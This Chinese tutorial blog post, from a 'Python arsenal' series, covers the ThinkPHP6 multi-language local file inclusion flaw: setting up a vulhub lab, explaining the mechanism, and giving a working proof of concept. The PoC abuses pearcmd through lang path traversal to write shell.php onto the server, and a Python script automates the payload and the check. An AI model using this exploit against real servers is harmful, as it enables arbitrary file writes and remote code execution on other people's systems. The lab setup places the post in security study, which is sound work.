Python武器库开发-武器库篇之ThinkPHP6 多语言本地文件包含漏洞(六十七)

Python武器库开发-武器库篇之ThinkPHP6 多语言本地文件包含漏洞(六十七)

漏洞环境搭建

这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装,我们进入 ThinkPHP漏洞环境,可以 cd ThinkPHP,然后通过 ls 查看可以搭建的靶场,目前 vulhub关于 ThinkPHP漏洞。可以搭建的靶场有五个。我们拿 lang-rce 漏洞举例,如果我们想要安装lang-rce 漏洞环境,可以 cd 到 lang-rce ,然后输入以下命令启动靶场环境:

python 复制代码
docker-compose up -d

然后我们在浏览器输入 https://localhost:8084 就可以访问靶场环境

ThinkPHP6 多语言本地文件包含漏洞原理

ThinkPHP6 多语言本地文件包含漏洞原理是在使用ThinkPHP6框架时,如果开启了多语言功能且未对用户输入进行安全过滤,恶意用户可以通过构造恶意请求,将任意文件包含到系统中进行执行。

具体原理如下:

  1. 默认情况下,ThinkPHP6框架会在应用目录下的lang目录中存放多语言文件,文件名为语言标识符;

  2. 恶意用户可以通过构造请求,将恶意文件名作为语言标识符传入;

  3. ThinkPHP6框架在处理多语言功能时,会自动根据语言标识符加载对应的语言文件;

  4. 如果用户传入的语言标识符是恶意文件名,框架则会将该文件包含到系统中进行执行;

  5. 恶意文件可以是任意PHP代码,因此可以执行任意命令,包括读取敏感文件、执行系统命令等。

这个漏洞的产生主要是由于未对用户输入进行安全过滤和验证导致的,解决方法是对用户输入进行严格的过滤和验证,避免恶意用户传入恶意文件名。同时,应及时对框架进行升级,以获取最新的安全补丁。

ThinkPHP6 多语言本地文件包含漏洞POC

接下来我们给出ThinkPHP6 多语言本地文件包含漏洞的POC,代码内容如下:

python 复制代码
?lang=../../../../../public/index
index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php

我们向URL路径上添加该POC得到如下的这么一个页面:

ThinkPHP6 多语言本地文件包含漏洞POC编写

现在我们用python编写检测ThinkPHP6 多语言本地文件包含漏洞的代码,内容如下:

python 复制代码
#!/usr/bin/env python

import requests
from urllib.parse import urljoin

def thinkphp6_lang(url):
    payload = urljoin(url,'index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php')
    response = requests.get(payload, verify=False)
    url2 = url + 'shell.php'
    response2 = requests.get(url2, verify=False)
    if response2.status_code == 200:
        print('漏洞存在')
    else:
        print("漏洞不存在")

if __name__ == '__main__':
    url = 'http://localhost:8084/'
    thinkphp6_lang(url)

POC代码详细分析

这段代码是一个用于检测ThinkPHP6漏洞的Python脚本,它利用构造的URL参数来触发漏洞,检查目标URL是否受到该漏洞的影响。如果漏洞存在,则打印"漏洞存在",否则打印"漏洞不存在"。

  1. 脚本开头声明了使用Python解释器来运行脚本。

  2. 导入了requests库用于发送HTTP请求。

  3. 导入了urljoin函数,用于拼接URL。

  4. 定义了一个名为thinkphp6_lang的函数,接受一个参数url

  5. 在函数内部,使用urljoin函数将漏洞的payload拼接到给定的URL上。payload的构造是通过传递URL参数来触发ThinkPHP6的漏洞,出现文件包含和代码执行的情况。

  6. 使用requests.get方法发送带有构造好的payload的HTTP GET请求,并将响应存储在response变量中。verify=False是为了关闭SSL验证。

  7. 构造一个新的URL,结合原始URL和shell.php文件名。

  8. 使用requests.get方法发送带有新URL的HTTP GET请求,并将响应存储在response2变量中。

  9. 如果第二个请求的状态码为200,则打印"漏洞存在";否则打印"漏洞不存在"。

  10. 在主函数中,定义一个名为url的变量,并将其设置为本地主机的URL和端口。

  11. 调用thinkphp6_lang函数,将url作为参数传递进去。

运行效果图

如下是我们这串代码的实际运行效果图:

相关推荐
GrowthDiary0076 小时前
Python 常用函数总结
开发语言·python
热心网友俣先生6 小时前
2026年华数杯C 题 超详细解题思路
c语言·开发语言·人工智能
啄缘之间7 小时前
5.1 uvm‑component 的层级结构管理? new (name,parent) 参数
开发语言·笔记·学习·ic·uvm·sv
2601_957883847 小时前
2026年8月:外星人笔记本维修服务揭秘
python·电脑
eric-sjq7 小时前
仅0.6B参数如何锁住超长记忆?Xiaothink-T17-RWKV5-MLA 架构深度解析:RWKV-v5 × MLA 的“降维打击“
python·架构
旖旎夜光7 小时前
C++(类与对象)(下)
开发语言·c++·学习
张小凡vip7 小时前
Python爬虫实战:高效稳定的文件下载模块设计与实现
开发语言·爬虫·python
江屿风7 小时前
【科普】【差集&交集概念落地云相册】流食般投喂
开发语言·c++·笔记·算法·云相册
代龙涛7 小时前
WordPress header.php 与 footer.php 模板结构详解
开发语言·php·wordpress
黄贵根13 小时前
JavaScript实现教培行业意向登记系统
开发语言·javascript·ecmascript